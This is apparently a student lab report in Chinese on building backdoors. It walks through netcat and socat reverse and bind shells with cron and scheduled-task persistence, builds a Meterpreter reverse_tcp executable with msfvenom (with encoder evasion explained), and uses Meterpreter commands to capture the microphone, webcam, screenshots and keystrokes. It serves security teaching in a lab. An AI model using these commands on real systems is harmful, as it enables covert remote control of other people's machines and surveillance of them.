20165306 Exp2 后门原理与实践
实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载的软件有后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:设置为开机自启动
Linux:将木马设为定时启动
(3)Meterpreter有哪些给你映像深刻的功能?
竟然可以获取目标主机音频、摄像头、击键记录等内容
(4)如何发现自己有系统有没有被安装后门?
安装专门的杀毒软件,实时防护,并定期检测电脑安全情况
一、后门概念
后门就是不经过正常认证流程而访问系统的通道。
相对狭义一点的后门的概念:后门特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序,远程执行各种指令,概念和木马有重叠。
二、常用后门工具
关于netcat
又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
(一)Win获得Linux Shell
1.在Windows下使用ipconfig
查看本机IP为192.168.199.175
2.使用ncat.exe程序监听本机的5306端口ncat.exe -l -p 5306
3.在Kali环境下,安装ncat,使用nc指令的-e选项反向连接Windows主机的5306端口
nc 192.168.199.175 5306 -e /bin/sh
4.成功获得Kali的shell,可运行任何指令,如ls
(二)Linux获得Windows Shell
1.在Kali环境中使用ifconfig查看IP为192.168.95.136
2.使用nc指令监听5306端口nc -l -p 5306
3.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5306端口
ncat.exe -e cmd.exe 192.168.95.136 5306
4.Kali下可以看到Windows的命令提示
(三)使用nc传输数据
1.Windows下监听5306端口ncat.exe -l 5306
2.Kali下连接到Windows的5306端口ncat 192.168.199.175 5306
3.建立连接之后,在Kali中输入数据,按下回车,Windows中就可以显示传输的数据了
三、Meterpreter
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
一个平台能生成后门程序。这个平台把后门的基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。接下来学习如何使用msfenom生成后门可执行文件,要生成的这个后门程序是Meterpreter。
参数说明:
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中-e
使用的编码器,用于对shellcode变形,为了免杀-i
编码器的迭代次数。如上即使用该编码器编码5次-b
badchar是payload中需要去除的字符LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
(一)使用netcat获取主机操作Shell,cron启动
1.在Windows系统下,监听5306端口nc -l -p 5306
2.Kali下用crontab -e
指令编辑一条定时任务,选择编辑器3
3.按i
进入插入模式,在最后一行添加52 * * * * /bin/netcat 172.168.199.175 5306 -e /bin/sh
,意思是在每个小时的第52分钟反向连接Windows主机的5306端口
4.当时间到了12:52时,此时已经获得了Kali的shell,可以在Windows下输入指令ls
(二)使用socat获取主机操作Shell, 任务计划启动
socat
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
代表其中的一个方向。所谓流,代表数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实验步骤
1.搜索计算机管理
→ 任务计划程序
→ 创建任务
→常规
→任务名称
:socat_5306
→触发器
→新建
→开始任务
选择工作站锁定时
→确定
→操作
→程序或脚本
点击浏览
→选择socat.exe
的路径→添加参数
填写tcp-listen:5306 exec:cmd.exe,pty,stderr
,把cmd.exe
绑定到端口5306,同时把cmd.exe
的stderr
重定向到stdout
上→确定
2.创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务显示正在运行
3.在Kali下输入socat - tcp:192.168.199.175:5306
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5306端口,此时可以发现已经成功获得了一个cmd shell
(三)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.Kali下输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.136 LPORT=5306 -f exe > 20165306_backdoor.exe
生成后门程序
- 注:这里的IP地址为控制端IP,即Kali的IP
2.Windows下输入ncat.exe -lv 5306 > 20165306_backdoor.exe
,通过nc指令将生成的后门程序传送到Windows主机上
3.Kali下输入nc 192.168.199.175 5306 < 20165306_backdoor.exe
- 注:这里的IP地址为被控主机IP,即Windows的IP
Windows显示连接成功
4.Kali下使用msfconsole
指令进入msf控制台
5.使用监听模块,设置payload,设置反弹回连的IP和端口
- 注:set LHOST用的是Kali的IP,和生成后门程序时指定的IP相同
设置完成后,执行监听
6.运行Windows下的后门程序20165306_backdoor.exe
7.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1.使用record_mic
指令可以截获一段音频
2.先打开Windows相机功能,Kali下使用webcam_snap
指令可以使用摄像头进行拍照
3.使用screenshot
指令可以进行截屏
4.使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录